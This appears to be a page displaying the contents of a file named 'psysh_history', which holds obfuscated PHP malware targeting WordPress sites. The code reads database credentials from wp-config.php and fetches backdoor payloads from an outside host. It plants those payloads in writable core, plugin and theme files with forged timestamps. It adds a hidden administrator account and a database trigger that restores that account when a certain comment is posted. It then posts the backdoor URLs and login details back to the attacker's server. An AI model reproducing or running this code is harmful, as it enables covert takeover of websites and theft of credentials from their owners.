JezK
Edit File: psysh_history
define('CURRENTDIR', getcwd()); define('UPLOAD_SHELL', 1); define('OUT', 2); define('API_PATH', 'http://march03252.com/src/accsec.php'); /** without http * */ define('PATH_TO_BACK_SHELL', 'wp-top.com/greh'); /** without http * */ $qnfjva = 'http://march03252.com/src/temp/2fa747c7171accb8852722cca617c7df'; $xwhwpm = hagklw(); $wdkdgw = 'wpupdate'; $esmujdbhdq = mutjjluq(); $lfedygz = $xwhwpm[1]; $dhvzlnnimpd = $esmujdbhdq; $ybrfgqmgr = ''; $ngsymwm = 'https://wordpress.com'; $gluqpkk = nqxrv('2019-07-09 00:00:00', '2023-08-27 00:00:00'); $mlkpyd = ''; $uvfpqdmzjr = '0'; $xxfokj = $esmujdbhdq; if (is_null($efgnzznb = xintgy())) { echo 'invalid detect wp root dir'; exit; } if (!function_exists('file_put_contents')) { function file_put_contents($maixhxdzcz, $mnsitodhkzo) { $parourhhu = @fopen($maixhxdzcz, 'w'); if (!$parourhhu) { return false; } else { $pjtglcw = fwrite($parourhhu, $mnsitodhkzo); fclose($parourhhu); return $pjtglcw; } } } $swzaqj = array(); if (!file_exists($bcvezgvwdrb = $efgnzznb . '/wp-config.php')) { echo 'wp-config not found'; exit; } $ehqzfx = file_get_contents($bcvezgvwdrb); preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $ehqzfx, $fatbjecaav); preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $ehqzfx, $tdnzes); $tihelgehiepu = $fatbjecaav[2][0]; $xiylediszchd = $fatbjecaav[2][1]; $adiztndhq = $fatbjecaav[2][2]; $eigccmynvhw = $fatbjecaav[2][3]; $lpvyvv = $tdnzes[1]; $uebbwxe = rqqzo($esmujdbhdq, $lfedygz, $dhvzlnnimpd, $ybrfgqmgr, $ngsymwm, $gluqpkk, $mlkpyd, $uvfpqdmzjr, $xxfokj, $tihelgehiepu, $lpvyvv); $qatduvlxfvh = mysqli_connect($eigccmynvhw, $xiylediszchd, $adiztndhq, $tihelgehiepu); if (!$qatduvlxfvh) { require_once($efgnzznb . '/wp-config.php'); $qunekdqqha = get_defined_constants(true); if (!$qunekdqqha['user']) { throw new \Exception("Could not connect"); } $tihelgehiepu = $qunekdqqha['user']['DB_NAME']; $xiylediszchd = $qunekdqqha['user']['DB_USER']; $adiztndhq = $qunekdqqha['user']['DB_PASSWORD']; $eigccmynvhw = $qunekdqqha['user']['DB_HOST']; $lpvyvv = $tdnzes[1]; $qatduvlxfvh = mysqli_connect($eigccmynvhw, $xiylediszchd, $adiztndhq, $tihelgehiepu); } $kopdead = $_SERVER['HTTP_HOST']; if (mysqli_connect_errno()) { $isproy = 1; echo "Could not connect" . PHP_EOL; } else { echo "Connected successfully" . PHP_EOL; $gfivpfl = mysqli_query($qatduvlxfvh, "select * from " . $lpvyvv . "options where option_name = 'home' or option_name = 'siteurl'"); $ydfklguo = mysqli_fetch_row($gfivpfl); if (stristr($ydfklguo[2], 'http') !== false) { $kopdead = $ydfklguo[2]; } if (stristr($ydfklguo[3], 'http') !== false) { $kopdead = $ydfklguo[3]; } } if (UPLOAD_SHELL === 1) { if (!function_exists('curl_init')) { $xbuxbt = qzcepv($qnfjva); define('USE_FGC', 1); } else { $xbuxbt = ezhhmn($qnfjva); } if (!$xbuxbt) { echo 'check sh domain' . PHP_EOL; exit; } if ($xbuxbt[1] === 403) { echo 'firewall in action!'; exit; } if ($xbuxbt[1] !== 200) { echo 'need update script' . PHP_EOL; exit; } $zibwexo = $xbuxbt[0]; $krkqucojr = unserialize(base64_decode($zibwexo)); $zwdtgj = array('variable', 'function', 'class', 'object', 'array', 'string', 'integer', 'boolean', 'float', 'double', 'character', 'list', 'set', 'queue', 'stack', 'pointer', 'reference', 'constructor', 'interface', 'method', 'event', 'exception', 'loop', 'condition', 'statement', 'module', 'package', 'library', 'framework', 'compiler', 'interpreter', 'database', 'sql', 'query', 'index', 'table', 'view', 'trigger', 'schema', 'git', 'repository', 'branch', 'merge', 'client', 'encryption', 'decryption', 'hashing', 'session', 'cookie', 'json', 'xml', 'restful', 'soap', 'url', 'http', 'https', 'dns', 'firewall', 'security', 'ajax-response', 'cron', 'stream', 'private', 'meta', 'wp', 'core', 'ajax', 'beta', 'alpha', 'sample', 'path', 'request', 'old', 'info', 'base', 'num', 'all', 'stat', 'new', 'plain', 'add', 'edit', 'live', 'pic', 'less', 'more', 'part', 'get', 'long', 'call', 'first', 'time', 'other'); $fgtnlvfjyu = xdwinym($efgnzznb . '/wp-admin', 3); $kubkpdeisyv = xdwinym($efgnzznb . '/wp-content/plugins', 3); $pqjzlqyewnz = xdwinym($efgnzznb . '/wp-includes', 3); $uwgcaaa = xdwinym($efgnzznb . '/wp-content/themes', 3); $hlpqsgrgqwn = array_merge($fgtnlvfjyu, $kubkpdeisyv, $pqjzlqyewnz, $uwgcaaa); $glvxhhzjnelb = count($zwdtgj); $plewukxxe = $efgnzznb . '/wp-config-sample.php'; $aozyrt = $krkqucojr['wp-config-sample.php?config']; $nhjjhtebvpdc = $zwdtgj[rand(0, $glvxhhzjnelb - 1)] . badea(rand(3, 6)); $bpupwmt = '$_GET[\'' . $nhjjhtebvpdc . '\']'; $aozyrt = str_replace('$_GET[\'config\']', $bpupwmt, $aozyrt); file_put_contents($plewukxxe, $aozyrt); touch($plewukxxe, qkgrzrrw(dirname($plewukxxe))); $swzaqj[] = uqtsa($efgnzznb, $plewukxxe . '?' . $nhjjhtebvpdc, $kopdead); unset($krkqucojr['wp-config-sample.php?config']); if (empty($hlpqsgrgqwn)) { echo 'no directories to write' . PHP_EOL; exit; } $nauhesatwjd = array_keys($krkqucojr); foreach ($hlpqsgrgqwn as $uuhqrz) { if (empty($nauhesatwjd)) { $nauhesatwjd = array_keys($krkqucojr); } $gtdpwvyypx = str_replace('.php', '-' . $zwdtgj[rand(0, $glvxhhzjnelb - 1)] . '.php', $uuhqrz); $fqudzdxcgqxi = array_shift($nauhesatwjd); $vkcyogngrwjz = $krkqucojr[$fqudzdxcgqxi]; file_put_contents($gtdpwvyypx, $vkcyogngrwjz); touch($gtdpwvyypx, qkgrzrrw(dirname($gtdpwvyypx))); $jbfpfnegs = explode('?', $fqudzdxcgqxi); $fnypnctsuq = uqtsa($efgnzznb, $gtdpwvyypx, $kopdead); $swzaqj[] = (isset($jbfpfnegs[1])) ? $fnypnctsuq . '?' . agctrq($jbfpfnegs[1]) : $fnypnctsuq; } } function agctrq($jbfpfnegs) { if (defined('PATH_TO_BACK_SHELL') && (stristr($jbfpfnegs, 'example.com') !== false)) { return str_replace('example.com', PATH_TO_BACK_SHELL, $jbfpfnegs); } return $jbfpfnegs; } if (!isset($isproy)) { $gwwmrein = boaze($kopdead); $qxdwkgs = "update `${lpvyvv}options` set option_value = '' WHERE `option_name` LIKE 'close_comments_for_old_posts'"; if (!mysqli_query($qatduvlxfvh, $qxdwkgs)) { echo 'invalid set value 0 for option >>close_comments_value<<' . PHP_EOL; } $gbtlbr = "UPDATE `${lpvyvv}posts` set ping_status = 'open' where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${gwwmrein}%' ORDER BY id LIMIT 5"; $fbckntlbisj = array(); if (mysqli_query($qatduvlxfvh, $gbtlbr)) { //echo 'posts ready to accept trackbacks' . PHP_EOL; $vrysazbesfoj = "select id, guid, post_name from `${lpvyvv}posts` where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${gwwmrein}%' ORDER BY id LIMIT 5"; $ddnjxzq = mysqli_query($qatduvlxfvh, $vrysazbesfoj); while ($qlgkhhiy = mysqli_fetch_array($ddnjxzq)) { $fbckntlbisj[] = array($qlgkhhiy['id'], $qlgkhhiy['guid'], $qlgkhhiy['post_name']); } } //$zyyscdr = "SELECT * FROM `${lpvyvv}users` WHERE `user_pass` = '$lfedygz'"; $zyyscdr = "SELECT * FROM `${lpvyvv}users` WHERE `user_login` = '$esmujdbhdq' order by id desc limit 1"; $dcpunst = "SELECT * FROM `${lpvyvv}users` WHERE `user_login` = '$wdkdgw'"; $wskupffogewi = mysqli_query($qatduvlxfvh, $zyyscdr); $qdkvuvqzf = mysqli_query($qatduvlxfvh, $dcpunst); if (mysqli_num_rows($qdkvuvqzf)) { $cuawvhnvsck = "delete from `${lpvyvv}users` WHERE `user_login` = '$wdkdgw'"; mysqli_query($qatduvlxfvh, $cuawvhnvsck); } if (!mysqli_num_rows($wskupffogewi)) { $rvmklakwgo = mysqli_query($qatduvlxfvh, "SELECT ID from `" . $tihelgehiepu . "`.`" . $lpvyvv . "users` ORDER BY `ID` DESC LIMIT 1"); $ovvjegt = mysqli_fetch_row($rvmklakwgo); $ovxfgqaa = (int)++$ovvjegt[0]; mysqli_query($qatduvlxfvh, "INSERT INTO `" . $tihelgehiepu . "`.`" . $lpvyvv . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('$ovxfgqaa', '$esmujdbhdq', '$lfedygz', '$dhvzlnnimpd', '$ybrfgqmgr', '$ngsymwm', '$gluqpkk', '$mlkpyd', '$uvfpqdmzjr', '$xxfokj')"); mysqli_query($qatduvlxfvh, "INSERT INTO `" . $tihelgehiepu . "`.`" . $lpvyvv . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $ovxfgqaa, '" . $lpvyvv . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')"); mysqli_query($qatduvlxfvh, "INSERT INTO `" . $tihelgehiepu . "`.`" . $lpvyvv . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $ovxfgqaa, '" . $lpvyvv . "user_level', '10')"); //echo $kopdead . " admin inserted" . PHP_EOL; echo sprintf('%s admin inserted %s::%s', $kopdead, $esmujdbhdq, $xwhwpm[0]) . PHP_EOL; $vkhrpfwsq = 1; mysqli_query($qatduvlxfvh, "DROP TRIGGER IF EXISTS `after_insert_comment`"); try { if (mysqli_query($qatduvlxfvh, $uebbwxe)) { echo 'trigger created' . str_repeat(PHP_EOL, 3); } } catch (\Exception $sjposp) { echo $sjposp->getMessage() . PHP_EOL; } } else { while ($lniejah = mysqli_fetch_array($wskupffogewi)) { $cycfoa = $lniejah['user_pass']; } $lazwwqgdksz = "SHOW TRIGGERS"; $tosfrradnz = mysqli_query($qatduvlxfvh, $lazwwqgdksz); if ($tosfrradnz) { while ($sjjmhhxgwyk = mysqli_fetch_array($tosfrradnz)) { if ($sjjmhhxgwyk['Trigger'] === 'after_insert_comment') { if (strpos($sjjmhhxgwyk['Statement'], $cycfoa) !== false) { //echo 'hash and trigger matched!'; break; } else { //echo 'not matched need drop trigger'; mysqli_query($qatduvlxfvh, "DROP TRIGGER IF EXISTS `after_insert_comment`"); try { $uebbwxe = rqqzo($esmujdbhdq, $cycfoa, $dhvzlnnimpd, $ybrfgqmgr, $ngsymwm, $gluqpkk, $mlkpyd, $uvfpqdmzjr, $xxfokj, $tihelgehiepu, $lpvyvv); if (mysqli_query($qatduvlxfvh, $uebbwxe)) { echo 'trigger created' . str_repeat(PHP_EOL, 3); } } catch (\Exception $sjposp) { echo $sjposp->getMessage() . PHP_EOL; } } break; } } } echo $kopdead . ' admin exists' . PHP_EOL; } mysqli_close($qatduvlxfvh); } echo implode("\n", $swzaqj) . "\n"; $swzaqj['host'] = $kopdead; if (!empty($fbckntlbisj)) { $swzaqj['trackbacks'] = $fbckntlbisj; } if (isset($vkhrpfwsq)) { $swzaqj['authdata'] = array($esmujdbhdq, $xwhwpm[0]); } $swzaqj['out'] = OUT; $hiuhzmbs = yyagfn(API_PATH, array('source' => base64_encode(serialize($swzaqj)),)); if (trim($hiuhzmbs) !== 'success') { echo "!!!!error while sending data!!!!" . PHP_EOL; exit; } echo str_repeat('_', 400) . "\n"; function xintgy() { if (file_exists(CURRENTDIR . '/wp-config.php')) { return CURRENTDIR; } $ojjuxr = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR); if (file_exists($ojjuxr . '/wp-config.php')) { return $ojjuxr; } return null; } function qzcepv($fnypnctsuq) { $rmdzncebw = stream_context_create(array('http' => array('ignore_errors' => true))); $mnsitodhkzo = @file_get_contents($fnypnctsuq, false, $rmdzncebw); if ($mnsitodhkzo === false) { $wisqhkf = error_get_last(); //echo "HTTP request failed. Error was: " . $wisqhkf['message']; return false; } else { $lgmgugt = null; if (!empty($acsjrw) && isset($acsjrw[0])) { preg_match('{HTTP\/\S*\s(\d{3})}', $acsjrw[0], $jyhwlozairdz); $lgmgugt = intval($jyhwlozairdz[1]); } return array($mnsitodhkzo, $lgmgugt); } } function ezhhmn($fnypnctsuq) { $sbatytbql = curl_init(); curl_setopt($sbatytbql, CURLOPT_URL, $fnypnctsuq); curl_setopt($sbatytbql, CURLOPT_HEADER, 0); curl_setopt($sbatytbql, CURLOPT_RETURNTRANSFER, 1); curl_setopt($sbatytbql, CURLOPT_TIMEOUT, 10); $mnsitodhkzo = curl_exec($sbatytbql); if (!$mnsitodhkzo) { return false; } $wwlhvz = curl_getinfo($sbatytbql, CURLINFO_HTTP_CODE); curl_close($sbatytbql); return array($mnsitodhkzo, $wwlhvz); } function yyagfn($fnypnctsuq, $mnsitodhkzo) { if (defined('USE_FGC')) { return yjvozavju($fnypnctsuq, $mnsitodhkzo); } return srmqxwqx($fnypnctsuq, $mnsitodhkzo); } function yjvozavju($fnypnctsuq, $mnsitodhkzo) { $xjvaewavkuo = http_build_query($mnsitodhkzo); $ztaimhcqod = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $xjvaewavkuo, 'timeout' => 10, ), "ssl" => array( "verify_peer" => false, "verify_peer_name" => false, ), ); $rmdzncebw = stream_context_create($ztaimhcqod); $biwpnc = @file_get_contents($fnypnctsuq, false, $rmdzncebw); $lgmgugt = null; if (isset($acsjrw[0])) { preg_match('{HTTP\/\S*\s(\d{3})}', $acsjrw[0], $jyhwlozairdz); $lgmgugt = intval($jyhwlozairdz[1]); } return ($lgmgugt === 200) ? trim($biwpnc) : null; } function srmqxwqx($fnypnctsuq, $mnsitodhkzo) { $sbatytbql = curl_init(); curl_setopt($sbatytbql, CURLOPT_URL, $fnypnctsuq); curl_setopt($sbatytbql, CURLOPT_RETURNTRANSFER, true); curl_setopt($sbatytbql, CURLOPT_TIMEOUT, 10); curl_setopt($sbatytbql, CURLOPT_POST, true); curl_setopt($sbatytbql, CURLOPT_POSTFIELDS, $mnsitodhkzo); curl_setopt($sbatytbql, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($sbatytbql, CURLOPT_SSL_VERIFYPEER, 0); $biwpnc = curl_exec($sbatytbql); $kaezkpjyfsa = curl_getinfo($sbatytbql); curl_close($sbatytbql); return ($kaezkpjyfsa["http_code"] == 200) ? trim($biwpnc) : null; } function qkgrzrrw($ypbtejy) { foreach (glob($ypbtejy . "/*php") as $dyfbtottyzga) { $bwymitksxp[] = filemtime($dyfbtottyzga); } $gchhloxslhl = array_count_values($bwymitksxp); arsort($gchhloxslhl); $nauhesatwjd = array_keys($gchhloxslhl); return array_shift($nauhesatwjd); } function uqtsa($taztxceeefgg, $gtdpwvyypx, $gwwmrein = null) { $gwwmrein = !$gwwmrein ? 'http://' . $_SERVER['HTTP_HOST'] : $gwwmrein; $kcqjihczn = str_replace($taztxceeefgg, '', $gtdpwvyypx); return rtrim($gwwmrein, '/') . DIRECTORY_SEPARATOR . ltrim($kcqjihczn, '/'); } function inzlc($okfnwayfpuis, $toqtifd = 1) { if (!is_dir($okfnwayfpuis)) { return; } $ycsiwhfbj = realpath($okfnwayfpuis); $fgrciivjxcy = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ycsiwhfbj), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); $fgrciivjxcy->setMaxDepth($toqtifd); foreach ($fgrciivjxcy as $rlnxqgwcgpjh => $bttrauly) { if (($ycsiwhfbj = $bttrauly->getPath()) === $okfnwayfpuis) { continue; } if (is_dir($bttrauly) && is_writeable($bttrauly)) { $bwymitksxp[] = $ycsiwhfbj; } } return array_unique($bwymitksxp); } function xdwinym($okfnwayfpuis, $dnpugumxasv = 2, $toqtifd = 1) { if (!is_dir($okfnwayfpuis)) { return; } $ycsiwhfbj = realpath($okfnwayfpuis); $fgrciivjxcy = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ycsiwhfbj), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); $fgrciivjxcy->setMaxDepth($toqtifd); $bwymitksxp = array(); foreach ($fgrciivjxcy as $rlnxqgwcgpjh => $bttrauly) { $ycsiwhfbj = $bttrauly->getPathName(); if (stristr($ycsiwhfbj, '.php') === false) { continue; } if (!is_writeable(dirname($ycsiwhfbj))) { continue; } $bwymitksxp[$ycsiwhfbj] = 1; } $tfssqb = array_keys($bwymitksxp); shuffle($tfssqb); return array_slice($tfssqb, 0, $dnpugumxasv); } function rqqzo($esmujdbhdq, $lfedygz, $dhvzlnnimpd, $ybrfgqmgr, $ngsymwm, $gluqpkk, $mlkpyd, $uvfpqdmzjr, $xxfokj, $tihelgehiepu, $lpvyvv) { $cmosdasjqgt = <<<STR CREATE TRIGGER `after_insert_comment` AFTER INSERT ON `${tihelgehiepu}`.`${lpvyvv}comments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `${tihelgehiepu}`.`${lpvyvv}users`); SET @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `${tihelgehiepu}`.`${lpvyvv}users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, '${esmujdbhdq}', '${lfedygz}', '${dhvzlnnimpd}', '${ybrfgqmgr}', '${ngsymwm}', '${gluqpkk}', '${mlkpyd}', '${uvfpqdmzjr}', '${xxfokj}'); INSERT INTO `${tihelgehiepu}`.`${lpvyvv}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${lpvyvv}capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}'); INSERT INTO `${tihelgehiepu}`.`${lpvyvv}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${lpvyvv}user_level', '10'); END IF; END; STR; return $cmosdasjqgt; } function boaze($fnypnctsuq) { $gwwmrein = parse_url($fnypnctsuq, PHP_URL_HOST); return str_replace('www.', '', $gwwmrein); } function nqxrv($kgyxdrbw, $szaesb, $qwqcshqpapuu = 'Y-m-d H:i:s') { $yihyzdxmtk = strtotime($kgyxdrbw); $staozsieuyy = strtotime($szaesb); $qzsbuvwyvn = mt_rand($yihyzdxmtk, $staozsieuyy); return date($qwqcshqpapuu, $qzsbuvwyvn); } function badea($cipttb, $swemjzb = false) { $czqhypme = "abcdefghijklmnopqrstuvwxyz"; if ($swemjzb) { $czqhypme .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@'; } $wkvimeyi = strlen($czqhypme); $ovbuyfa = ""; for ($tgjpwx = 0; $tgjpwx < $cipttb; $tgjpwx++) { $ovbuyfa .= $czqhypme[rand(0, $wkvimeyi - 1)]; } return $ovbuyfa; } function mutjjluq() { preg_match_all('~\d~', md5($_SERVER['HTTP_HOST']), $nroahu); $kvcaqowrnd = $nroahu[0][0]; $rdjupfjp = end($nroahu[0]); $brrbfvcf = array('wp', 'cms', 'web', 'dev', 'blog', 'main', 'articles', 'notes', 'news', 'archive',); $doyamswva = array('panel', 'feed', 'client', 'user', 'rss', 'option', 'auth', 'table', 'user', 'profile',); return $brrbfvcf[$kvcaqowrnd] . $doyamswva[$rdjupfjp]; } function glapxop($xwwfcodac, $fnanqx) { $hqmgbxgqio = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; define('ITOA64_CUSTOM', $hqmgbxgqio); if ($xwwfcodac < 4 || $xwwfcodac > 31) { $xwwfcodac = 8; } define('ITERATION_COUNT_LOG2_CUSTOM', $xwwfcodac); define('PORTABLE_HASHES_CUSTOM', $fnanqx); $fusulepguql = microtime(); if (function_exists('getmypid')) { $fusulepguql .= getmypid(); } define('RANDOM_STATE_CUSTOM', $fusulepguql); } function zghixed($nyduhxdvh) { if (strlen($nyduhxdvh) > 4096) { return '*'; } $admxhkojtr = ''; if (CRYPT_BLOWFISH === 1 && !PORTABLE_HASHES_CUSTOM) { $admxhkojtr = cjlcxzu(16); $kmmpcgzqud = crypt($nyduhxdvh, ofzeynyj($admxhkojtr)); if (strlen($kmmpcgzqud) === 60) { return $kmmpcgzqud; } } if (strlen($admxhkojtr) < 6) { $admxhkojtr = cjlcxzu(6); } $kmmpcgzqud = qlflqhj($nyduhxdvh, paodd($admxhkojtr)); if (strlen($kmmpcgzqud) === 34) { return $kmmpcgzqud; } return '*'; } function cjlcxzu($gchhloxslhl) { $kssnvlcqcpi = ''; if (@is_readable('/dev/urandom') && ($skukryo = @fopen('/dev/urandom', 'rb'))) { $kssnvlcqcpi = fread($skukryo, $gchhloxslhl); fclose($skukryo); } if (strlen($kssnvlcqcpi) < $gchhloxslhl) { $kssnvlcqcpi = ''; $xlvjlcercalh = RANDOM_STATE_CUSTOM; for ($tgjpwx = 0; $tgjpwx < $gchhloxslhl; $tgjpwx += 16) { $xlvjlcercalh = md5(microtime() . $xlvjlcercalh); $kssnvlcqcpi .= md5($xlvjlcercalh, TRUE); } $kssnvlcqcpi = substr($kssnvlcqcpi, 0, $gchhloxslhl); } return $kssnvlcqcpi; } function ofzeynyj($jyfwxuyqhxbp) { $hqmgbxgqio = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $kssnvlcqcpi = '$2a$'; $kssnvlcqcpi .= chr((int)(ord('0') + ITERATION_COUNT_LOG2_CUSTOM / 10)); $kssnvlcqcpi .= chr(ord('0') + ITERATION_COUNT_LOG2_CUSTOM % 10); $kssnvlcqcpi .= '$'; $tgjpwx = 0; do { $ouroqjyddsib = ord($jyfwxuyqhxbp[$tgjpwx++]); $kssnvlcqcpi .= $hqmgbxgqio[$ouroqjyddsib >> 2]; $ouroqjyddsib = ($ouroqjyddsib & 0x03) << 4; if ($tgjpwx >= 16) { $kssnvlcqcpi .= $hqmgbxgqio[$ouroqjyddsib]; break; } $ovlfcvyibm = ord($jyfwxuyqhxbp[$tgjpwx++]); $ouroqjyddsib |= $ovlfcvyibm >> 4; $kssnvlcqcpi .= $hqmgbxgqio[$ouroqjyddsib]; $ouroqjyddsib = ($ovlfcvyibm & 0x0f) << 2; $ovlfcvyibm = ord($jyfwxuyqhxbp[$tgjpwx++]); $ouroqjyddsib |= $ovlfcvyibm >> 6; $kssnvlcqcpi .= $hqmgbxgqio[$ouroqjyddsib]; $kssnvlcqcpi .= $hqmgbxgqio[$ovlfcvyibm & 0x3f]; } while (1); return $kssnvlcqcpi; } function qlflqhj($nyduhxdvh, $bihoik) { $kssnvlcqcpi = '*0'; if (substr($bihoik, 0, 2) === $kssnvlcqcpi) { $kssnvlcqcpi = '*1'; } $uznbslccnpjy = substr($bihoik, 0, 3); //if ($uznbslccnpjy !== '$paahrwtvbg$' && $uznbslccnpjy !== '$szqmjmlphgm$') { if ($uznbslccnpjy !== base64_decode('JFAk') && $uznbslccnpjy !== base64_decode('JEgk')) { return $kssnvlcqcpi; } $reigeh = strpos(ITOA64_CUSTOM, $bihoik[3]); if ($reigeh < 7 || $reigeh > 30) { return $kssnvlcqcpi; } $gchhloxslhl = 1 << $reigeh; $znttljstgjb = substr($bihoik, 4, 8); if (strlen($znttljstgjb) !== 8) { return $kssnvlcqcpi; } $kmmpcgzqud = md5($znttljstgjb . $nyduhxdvh, TRUE); do { $kmmpcgzqud = md5($kmmpcgzqud . $nyduhxdvh, TRUE); } while (--$gchhloxslhl); $kssnvlcqcpi = substr($bihoik, 0, 12); $kssnvlcqcpi .= efvwxuj($kmmpcgzqud, 16); return $kssnvlcqcpi; } function efvwxuj($jyfwxuyqhxbp, $gchhloxslhl) { $kssnvlcqcpi = ''; $tgjpwx = 0; $hqmgbxgqio = ITOA64_CUSTOM; do { $wgehmzzwete = ord($jyfwxuyqhxbp[$tgjpwx++]); $kssnvlcqcpi .= $hqmgbxgqio[$wgehmzzwete & 0x3f]; if ($tgjpwx < $gchhloxslhl) { $wgehmzzwete |= ord($jyfwxuyqhxbp[$tgjpwx]) << 8; } $kssnvlcqcpi .= $hqmgbxgqio[($wgehmzzwete >> 6) & 0x3f]; if ($tgjpwx++ >= $gchhloxslhl) { break; } if ($tgjpwx < $gchhloxslhl) { $wgehmzzwete |= ord($jyfwxuyqhxbp[$tgjpwx]) << 16; } $kssnvlcqcpi .= $hqmgbxgqio[($wgehmzzwete >> 12) & 0x3f]; if ($tgjpwx++ >= $gchhloxslhl) { break; } $kssnvlcqcpi .= $hqmgbxgqio[($wgehmzzwete >> 18) & 0x3f]; } while ($tgjpwx < $gchhloxslhl); return $kssnvlcqcpi; } function paodd($jyfwxuyqhxbp) { //$kssnvlcqcpi = '$paahrwtvbg$'; $kssnvlcqcpi = base64_decode('JFAk'); $hqmgbxgqio = ITOA64_CUSTOM; $kssnvlcqcpi .= $hqmgbxgqio[min(ITERATION_COUNT_LOG2_CUSTOM + 5, 30)]; $kssnvlcqcpi .= efvwxuj($jyfwxuyqhxbp, 6); return $kssnvlcqcpi; } function hagklw() { $ckcdikw = badea(rand(20, 40), true); glapxop(4, true); $kmmpcgzqud = zghixed($ckcdikw); return array($ckcdikw, $kmmpcgzqud); }